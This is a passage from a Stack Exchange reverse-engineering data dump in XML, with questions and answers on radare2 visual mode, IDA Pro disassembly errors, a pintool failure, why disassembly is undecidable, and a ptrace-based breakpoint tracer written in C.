LastActivityDate="2017-06-20T05:12:56.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15609" PostTypeId="1" AcceptedAnswerId="15610" CreationDate="2017-06-20T08:39:35.667" Score="7" ViewCount="11392" Body="&lt;p&gt;I am using radare2 in debugging mode (r2 -d ./program).&#xA;I set up a breakpoint at a certain address (&lt;code&gt;db 0x12341234&lt;/code&gt;)&#xA;And next I have entered Visual View using: &lt;code&gt;V!&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Following some tutorials, I saw them using '&lt;code&gt;s&lt;/code&gt;' to switch to the next instruction, but that isn't working for me.&#xA;Also this is not working:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Maybe a simpler method to use debugger in radare is to switch it to visual mode. That way you will not have to remember many commands nor to keep program state in your mind. To enter visual mode use &lt;code&gt;V&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0xB7F0C8C0]&amp;gt; V&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The initial view after entering visual mode is a hexdump view of current target program counter (e.g., EIP for x86). Pressing &lt;code&gt;p&lt;/code&gt; will allow you to cycle through the rest of visual mode views. You can press &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt; to rotate through the most commonly used print modes. Use &lt;kbd&gt;F7&lt;/kbd&gt; or s to step into and &lt;kbd&gt;F8&lt;/kbd&gt; or &lt;code&gt;S&lt;/code&gt; to step over current instruction. With the &lt;code&gt;c&lt;/code&gt; key you can toggle the cursor mode to mark a byte range selection (for example, to later overwrite them with &lt;code&gt;nop&lt;/code&gt;). You can set breakpoints with &lt;kbd&gt;F2&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Any key I would press does nothing. Am I missing something or?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7XXna.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7XXna.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am talking about this view.&lt;/p&gt;&#xA;" OwnerUserId="19852" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-06-20T21:51:05.747" Title="Visual View in radare2 while debugging" Tags="|disassembly|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15610" PostTypeId="2" ParentId="15609" CreationDate="2017-06-20T11:06:41.830" Score="11" Body="&lt;p&gt;First of all, make sure you run the latest version of radare2 from git repository:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git clone https://github.com/radare/radare2.git&#xA;$ cd radare2&#xA;$ ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don’t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the &lt;a href=&quot;http://radare.org/r/down.html&quot; rel=&quot;noreferrer&quot;&gt;download page&lt;/a&gt; at the radare2 website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 has several different Visual Views, before I'll explain them - please analyze the program using &lt;code&gt;aa&lt;/code&gt; and seek to a function using &lt;code&gt;s &amp;lt;function_name&amp;gt;&lt;/code&gt;. You can list the functions recognized by radare2 using &lt;code&gt;afl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;V&lt;/code&gt; - The basic Visual Mode. You can toggle between the views using&#xA;&lt;code&gt;p&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VV&lt;/code&gt; - Visual Graph Mode, Displays an ASCII graph&#xA;view. Again you can toggle between the views using &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;V!&lt;/code&gt; - Visual Panels Mode, which is the mode you attached to your&#xA;question.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In each of the modes mentioned above you can press &lt;code&gt;?&lt;/code&gt; in order to list the commands available. The commands varies between the different modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;code&gt;s&lt;/code&gt; and &lt;code&gt;S&lt;/code&gt; inside a Visual view while debugging will step-in and step-over respectively. radare will automatically sync the view with &lt;code&gt;eip&lt;/code&gt; on every step.&lt;br&gt;&#xA;In Visual Panels Mode (&lt;code&gt;V!&lt;/code&gt;) you can use &lt;code&gt;TAB&lt;/code&gt; to navigate between the panels and h/j/k/l to move inside the view/panel.&lt;br&gt;&#xA;You can run r2 commands from inside Visual Mode using &lt;code&gt;:&lt;/code&gt; (ie. &lt;code&gt;s 0x00402c1e&lt;/code&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still doesn't work and you believe it's a problem with radare please &lt;a href=&quot;https://github.com/radare/radare2/issues&quot; rel=&quot;noreferrer&quot;&gt;open an issue&lt;/a&gt; and the great contributors of radare2 will be happy to help you.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-06-20T11:06:41.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15612" PostTypeId="1" AcceptedAnswerId="15615" CreationDate="2017-06-20T13:26:19.180" Score="3" ViewCount="575" Body="&lt;p&gt;Can you explain why IDA-Pro is confused with the following &lt;strong&gt;simple&lt;/strong&gt; x86 instruction?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;.text:0000000000001885   jnz     loc_1AD0&#xA;.text:000000000000188B loc_188B:&#xA;.text:000000000000188B   mov     byte ptr [var+9], 1&#xA;.text:000000000000188B some_func endp ; sp-analysis failed&#xA;.text:000000000000188B&#xA;.text:000000000000188B ; ---------------------------------------------------&#xA;.text:0000000000001890                 db 4Ch&#xA;.text:0000000000001891 ; ---------------------------------------------------&#xA;.text:0000000000001891&#xA;.text:0000000000001891 _debug_info_seg_0:&#xA;.text:0000000000001891   mov     eax, esp&#xA;.text:0000000000001893   cmp     rbx, 20h&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This confusion forces me to manually redefine the incorrect data as code, and &#xA;then to redefine the subroutine in order to fix the miscalculated endp position.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;.text:0000000000001885   jnz     loc_1AD0&#xA;.text:000000000000188B loc_188B: &#xA;.text:000000000000188B   mov     byte ptr [r14+9], 1&#xA;.text:0000000000001890   mov     rax, r12              &amp;lt;&amp;lt;&amp;lt;FIXED!&amp;gt;&amp;gt;&amp;gt;&#xA;.text:0000000000001893   cmp     rbx, 20h&#xA;.text:0000000000001897   jb      loc_1A80e&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue happens several times with other simple x86-x64 instructions.&#xA;Any idea why? and how to automatically correct those? &lt;/p&gt;&#xA;" OwnerUserId="3589" LastEditorUserId="3589" LastEditDate="2017-06-21T08:26:21.270" LastActivityDate="2017-06-21T08:26:21.270" Title="Why do simple x86 instructions confuses IDA Pro" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15613" PostTypeId="1" CreationDate="2017-06-20T15:01:04.163" Score="1" ViewCount="105" Body="&lt;p&gt;I am trying to run a pintool I downloaded from this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cs.purdue.edu/homes/kim1051/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cs.purdue.edu/homes/kim1051/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The associated paper is here:&#xA;&lt;a href=&quot;https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool works fine with the provided example. Nevertheless, when I try running an elf-32 or 64 I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:Cannot execute file. System error: Unknown error. File name: &quot;.\hello&quot;&#xA;E:Pin is exiting due to fatal error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code I used is a simple C hello world:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;&#xA;   printf(&quot;Hello, World!&quot;);&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -m32 hello.c -o hello&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am new to Pin, nevertheless I gathered it acts as it's own binary loader so I'm surprised this did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="20617" LastActivityDate="2017-06-20T15:01:04.163" Title="Getting REWARDS pintool to work with ELF" Tags="|pintool|" AnswerCount="0" CommentCount="5" ClosedDate="2017-06-22T08:33:01.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="15614" PostTypeId="2" ParentId="15612" CreationDate="2017-06-20T15:09:36.483" Score="0" Body="&lt;p&gt;In short, distinguish code from data is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Undecidable_problem&quot; rel=&quot;nofollow noreferrer&quot;&gt;undecidable problem&lt;/a&gt;. Concretely, your question is a special case of &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2580/why-is-disassembly-not-an-exact-science&quot;&gt;this question&lt;/a&gt; where you can find answers with detail explanation.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2017-06-20T15:16:07.120" LastActivityDate="2017-06-20T15:16:07.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15615" PostTypeId="2" ParentId="15612" CreationDate="2017-06-20T16:42:00.460" Score="1" Body="&lt;p&gt;IDA's autoanalyzer considers user-defined names to be strong indicators of code or data item starts. Since you have the &lt;code&gt;_debug_info_seg_0&lt;/code&gt; symbol in the middle of the would-be instruction, IDA stopped disassembly instead of removing the symbol. You could write a script to remove such hindering symbols and recreate the instructions.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-06-20T16:42:00.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15616" PostTypeId="2" ParentId="2580" CreationDate="2017-06-20T17:03:54.237" Score="3" Body="&lt;h1&gt;Preliminary Remarks&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First of all, we need to agree on what does a &lt;em&gt;correct disassembly&lt;/em&gt; of a binary program is. I would propose the following definition:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A &lt;em&gt;correct disassembly&lt;/em&gt; of a binary program will give the set of all the possible instructions that can be executed by the program whatever input it takes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another way to state it would be to say that we expose the instructions of all the possible executions of the program on every input it can take.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Halting Problem&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here we already can make a parallel with the halting problem on a Turing machine which can be defined as follow (&lt;a href=&quot;https://en.wikipedia.org/wiki/Halting_problem&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;em&gt;halting problem&lt;/em&gt; is the problem of determining, from a description of an arbitrary computer program and an input, whether the program will finish running or continue to run forever.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This (apparently) very simple problem has been shown undecidable by Turing, meaning that, even if we can handle a certain amount of cases automatically with a program, some pathological cases will always escape from our program which will fail to tell if yes or no the machine/program will halt on the given input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, of course, such pathological cases are infinitely many (so, there is no hope to enumerate them one after one as special cases).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Back to our disassembly problem!&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Exploring all the possible paths of a program is indeed undecidable &lt;strong&gt;because of the halting problem&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, a dual way to formulate the halting problem is the &lt;em&gt;accessibility problem&lt;/em&gt; where you want to know if there is an input that allow you to reach a specific point of the program. And, knowing if a specific place in memory can be reached by the program and interpreted as an instruction (&lt;em&gt;i.e.&lt;/em&gt; the instruction pointer takes the value of this address at some point) &lt;strong&gt;is&lt;/strong&gt; an accessibility problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;strong&gt;disassembly is undecidable&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;But, In The Real World ?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I know, I know, this is only Math... Not reality... Most of the obfuscations (voluntary or not) can be worked out and automatically removed from binary code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, this was essentially because people who did these obfuscations were not used to undecidable problems...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that you insert in your program the computation of an undecidable problem, or even, just something hard and complex enough that will break any automated reasoning applied to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give an example, lets take the Collatz sequence (&lt;a href=&quot;https://en.wikipedia.org/wiki/Collatz_conjecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;), this sequence is conjectured to always end at 1 after some time. But, the arithmetic problem behind it is so tremendously complex that this conjecture holds since about one century... This is a perfect opaque predicate to use! Of course, it might be that the proof of such conjecture exists, but this problem is complex enough to start building on it and confuse computer exploring the state space of a program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, this is the current direction of research in strong obfuscation nowadays... We are almost done with the small tricks that were used before and people start to build things on better grounded problem. Even if we still miss an equivalent of a &lt;em&gt;Shannon&lt;/em&gt; (father of the information theory) in matter of software obfuscation to be compared with cryptology.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Final Words&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So, we saw that the disassembly problem is strongly linked to the &lt;em&gt;halting problem&lt;/em&gt;. And, also, that using highly complex problems might be the next step in &lt;strong&gt;modern software obfuscation&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just have a final word about the fact that current disassembly tools are probably way behind what we could do if we had to stick with the state of the Art in disassembly techniques. I am always crying in pain when I see how prehistoric are the current tools... but putting all the modern techniques into practice would require so much effort of development and maintenance that nobody seems to be ready to do it (but this is only my humble opinion).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-06-21T07:45:23.847" LastActivityDate="2017-06-21T07:45:23.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15618" PostTypeId="2" ParentId="15546" CreationDate="2017-06-21T03:44:09.773" Score="1" Body="&lt;p&gt;The problem is that when I compile test.c with gcc, gcc creates a shared object file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the case with even the simplest of programs:&#xA;    //simplereturn.c&#xA;    int main(void)&#xA;    {&#xA;        return 22;&#xA;    }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from readelf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Type:                              DYN (Shared object file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to parse this with tracer, previously I had changed the error-checking section that ensured that the file that I'm parsing with ptrace is ET_EXEC (an executable file). I changed it so it checked if the traced file was ET_DYN (shared object file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this allowed the error-check to pass for the simple C programs that I wanted to trace, but had unexpected (at least for me) consequences. When lookup_symbol was returning it was in fact returning a virtual address (0x6b0), which agrees with the symbol table of the readelf, and the function address in objdump -D. Can even check it in gdb. However, interestingly, a break at print_string is placed at 0x6bc, while the start of the print_string function is at 0x6b0. Probably not irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a lot of research and struggle, the problem was an easy fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created an executable instead of a shared object file. The requisite as far as I can tell is that it uses no external libraries or functions, or I guess probably that it's self-contained. Either way, gcc won't make them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;test.asm&#xA;section .text&#xA;    global _start&#xA;&#xA;_start:&#xA;    mov rsi, hello1&#xA;    call print_string&#xA;    mov rsi, hello2&#xA;    call print_string&#xA;&#xA;    xor rdi,rdi&#xA;    mov rax, 60&#xA;    syscall&#xA;&#xA;print_string:&#xA;    mov rax, 1&#xA;    mov rdi, 1&#xA;    mov rdx, 6&#xA;    syscall&#xA;    ret&#xA;&#xA;section .data&#xA;    hello1 db &quot;Hello1&quot;&#xA;    hello2 db &quot;Hello2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled with nasm -g -f elf64 test.asm &amp;amp;&amp;amp; ld -m elf_x86_64 -o testasm testasm.o&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;readelf -a testasm&lt;/strong&gt; confirms that it's an executable &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF64&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA; Type:                              EXEC (Executable file) //EXEC NOW&#xA;  Machine:                           Advanced Micro Devices X86-64&#xA;  Version:                           0x1&#xA;  Entry point address:               0x4000b0&#xA;  Start of program headers:          64 (bytes into file)&#xA;  Start of section headers:          616 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               64 (bytes)&#xA;  Size of program headers:           56 (bytes)&#xA;  Number of program headers:         2&#xA;  Size of section headers:           64 (bytes)&#xA;  Number of section headers:         6&#xA;  Section header string table index: 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I switched the error checking in the original back:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;fcntl.h&amp;gt;&#xA;#include &amp;lt;errno.h&amp;gt;&#xA;#include &amp;lt;signal.h&amp;gt;&#xA;#include &amp;lt;elf.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;sys/user.h&amp;gt;&#xA;#include &amp;lt;sys/stat.h&amp;gt;&#xA;#include &amp;lt;sys/ptrace.h&amp;gt;&#xA;#include &amp;lt;sys/mman.h&amp;gt;&#xA;#include &amp;lt;sys/wait.h&amp;gt;&#xA;&#xA;&#xA;typedef struct handle&#xA;{&#xA;    Elf64_Ehdr *ehdr;&#xA;    Elf64_Phdr *phdr;&#xA;    Elf64_Shdr *shdr;&#xA;    uint8_t *mem;&#xA;    char *symname;&#xA;    Elf64_Addr symaddr;&#xA;    struct user_regs_struct pt_reg;&#xA;    char *exec;&#xA;} handle_t;&#xA;&#xA;Elf64_Addr lookup_symbol(handle_t *, const char *);&#xA;&#xA;int main(int argc, char **argv, char **envp)&#xA;{&#xA;    int fd;&#xA;    handle_t h;&#xA;    struct stat st;&#xA;    long trap, orig;&#xA;    int status, pid;&#xA;    char * args[2];&#xA;&#xA;    if (argc &amp;lt; 3)&#xA;    {&#xA;        printf(&quot;Usage: %s &amp;lt;program&amp;gt; &amp;lt;function&amp;gt;\n&quot;, argv[0]);&#xA;        exit(0);&#xA;    }&#xA;&#xA;    if ((h.exec = strdup(argv[1])) == NULL)&#xA;    {&#xA;        perror(&quot;strdup&quot;); exit(-1);&#xA;    }&#xA;&#xA;    args[0] = h.exec;&#xA;&#xA;    args[1] = NULL;&#xA;&#xA;    if ((h.symname = strdup(argv[2])) == NULL)&#xA;    {&#xA;        perror(&quot;strdup&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if ((fd = open(argv[1], O_RDONLY)) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;open&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (fstat(fd, &amp;amp;st) &amp;lt; 0) &#xA;    {&#xA;        perror(&quot;fstat&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;&#xA;    h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);&#xA;&#xA;&#xA;    if (h.mem == MAP_FAILED)&#xA;    {&#xA;        perror(&quot;mmap&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;&#xA;    h.ehdr = (Elf64_Ehdr *)h.mem;&#xA;&#xA;    h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr-&amp;gt;e_phoff);&#xA;&#xA;    h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr-&amp;gt;e_shoff);&#xA;&#xA;    if ((h.mem[0] != 0x7f) || strcmp((char *)&amp;amp;h.mem[1], &quot;ELF\002\001\001&quot;))&#xA;    {&#xA;        printf(&quot;%s is not an ELF file\n&quot;, h.exec);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (h.ehdr-&amp;gt;e_type != ET_EXEC) &#xA;    {&#xA;        printf(&quot;%s is not an ELF executable\n&quot;, h.exec);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;&#xA;    if (h.ehdr-&amp;gt;e_shstrndx == 0 || h.ehdr-&amp;gt;e_shoff == 0 || h.ehdr-&amp;gt;e_shnum == 0)&#xA;    {&#xA;        printf(&quot;Section header table not found\n&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if ((h.symaddr = lookup_symbol(&amp;amp;h, h.symname)) == 0)&#xA;    {&#xA;        printf(&quot;Unable to find symbol: %s not found in executable\n&quot;, h.symname);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;&#xA;    close(fd);  &#xA;&#xA;&#xA;    if ((pid = fork()) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;fork&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (pid == 0)&#xA;    {&#xA;        if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) &amp;lt; 0)&#xA;        {&#xA;            perror(&quot;PTRACE_TRACEME&quot;);&#xA;            exit(-1);&#xA;        }&#xA;        execve(h.exec, args, envp);&#xA;        exit(0);&#xA;    }&#xA;&#xA;&#xA;&#xA;&#xA;    wait(&amp;amp;status);&#xA;    printf(&quot;Beginning analysis of pid: %d at %lx\n&quot;, pid, h.symaddr);&#xA;&#xA;    if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, (void *)0)) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_PEEKER&quot;);&#xA;        exit(-1);&#xA;    }&#xA;    trap = (orig &amp;amp; ~0xff | 0xcc);&#xA;&#xA;    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_POKETEXT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;trace:&#xA;    if (ptrace(PTRACE_CONT, pid, NULL, NULL) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_CONT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;    wait(&amp;amp;status);&#xA;&#xA;    if (WIFSTOPPED(status) &amp;amp;&amp;amp; WSTOPSIG(status) == SIGTRAP)&#xA;    {&#xA;        if (ptrace(PTRACE_GETREGS, pid, NULL, &amp;amp;h.pt_reg) &amp;lt; 0)&#xA;        {&#xA;            perror(&quot;PTRACE_GETREGS&quot;);&#xA;            exit(-1);&#xA;        }&#xA;&#xA;        printf(&quot;\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n&quot;, h.exec, pid, h.symaddr);&#xA;&#xA;    printf(&quot;%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n&quot; &#xA;                &quot;%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n&quot; &#xA;                &quot;%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n%%&quot; &#xA;                &quot;%%r11: %llx\n%%r12: %llx\n%%r13: %llx\n%%&quot; &#xA;                &quot;%%r14: %llx\n%%r15: %llx\n%%rsp: %llx\n%%&quot;);&#xA;    printf(&quot;\nHit any key to continue: &quot;);&#xA;    getchar();&#xA;    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_POKETEXT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    h.pt_reg.rip = h.pt_reg.rip - 1;&#xA;&#xA;    if (ptrace(PTRACE_SETREGS, pid, NULL, &amp;amp;h.pt_reg) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_SETREGS&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_SINGLESTEP&quot;);&#xA;        exit(-1);&#xA;    }&#xA;    wait(NULL);&#xA;&#xA;    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;PTRACE_POKETEXT&quot;);&#xA;        exit(-1);&#xA;    }&#xA;&#xA;    goto trace;&#xA;    }&#xA;&#xA;    if (WIFEXITED(status)) &#xA;        printf(&quot;Completed tracing pid: %d\n&quot;, pid);&#xA;&#xA;    exit(0);&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;    Elf64_Addr lookup_symbol(handle_t *h, const char *symname)&#xA;    {&#xA;        int i, j;&#xA;        char *strtab;&#xA;        Elf64_Sym *symtab;&#xA;        for (i = 0; i &amp;lt; h-&amp;gt;ehdr-&amp;gt;e_shnum; i++)  &#xA;        {&#xA;            if (h-&amp;gt;shdr[i].sh_type == SHT_SYMTAB)&#xA;            {&#xA;                strtab = (char *)&amp;amp;h-&amp;gt;mem[h-&amp;gt;shdr[h-&amp;gt;shdr[i].sh_link].sh_offset];&#xA;&#xA;                symtab = (Elf64_Sym *)&amp;amp;h-&amp;gt;mem[h-&amp;gt;shdr[i].sh_offset];&#xA;&#xA;                for (j = 0; j &amp;lt; h-&amp;gt;shdr[i].sh_size/sizeof(Elf64_Sym); j++)&#xA;                {&#xA;                    if (strcmp(&amp;amp;strtab[symtab-&amp;gt;st_name], symname) == 0)&#xA;                        return (symtab-&amp;gt;st_value);&#xA;                    symtab++;&#xA;                }&#xA;            }&#xA;        }&#xA;        return 0;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now when run it it works&#xA;$ &lt;strong&gt;./tracer ./testasm print_string&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Beginning analysis of pid: 5378 at 4000d8&#xA;&#xA;Executable ./testasm (pid: 5378) has hit breakpoint 0x4000d8&#xA;%rcx: 564ed7b07050&#xA;%rdx: 7fb9525a9760&#xA;%rbx: 7fffffc2&#xA;%rax: 1&#xA;%rdi: 3e&#xA;%rsi: 1958ac0&#xA;%r8: 7ffcd2b98848&#xA;%r9: 7ffcd2b98828&#xA;%r10: 3d2bea1a8&#xA;%%r11: 564ed7b07010&#xA;%r12: 0&#xA;%r13: 7fb9527d2728&#xA;%%r14: 57f00000001&#xA;%r15: 801&#xA;%rsp: 203bec&#xA;%&#xA;Hit any key to continue: &#xA;Hello1&#xA;Executable ./testasm (pid: 5378) has hit breakpoint 0x4000d8&#xA;%rcx: 564ed7b07050&#xA;%rdx: 7fb9525a9760&#xA;%rbx: 7fffffc2&#xA;%rax: 1&#xA;%rdi: 3e&#xA;%rsi: 1958ac0&#xA;%r8: 7ffcd2b98848&#xA;%r9: 7ffcd2b98828&#xA;%r10: 3d2bea1a8&#xA;%%r11: 564ed7b07010&#xA;%r12: 0&#xA;%r13: 7fb9527d2728&#xA;%%r14: 57f00000001&#xA;%r15: 801&#xA;%rsp: 203bec&#xA;%&#xA;Hit any key to continue: &#xA;Hello2Completed tracing pid: 5378&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checking gdb and readelf&#xA;Lookup symbol returns value at 0x4000d8, as the symbol table from &lt;strong&gt;readelf -a testasm&lt;/strong&gt; says it should:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.symtab' contains 11 entries:&#xA;   Num:    Value          Size Type    Bind   Vis      Ndx Name&#xA;     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 00000000004000b0     0 SECTION LOCAL  DEFAULT    1 &#xA;     2: 00000000006000ec     0 SECTION LOCAL  DEFAULT    2 &#xA;     3: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS test.asm&#xA;     4: 00000000004000d8     0 NOTYPE 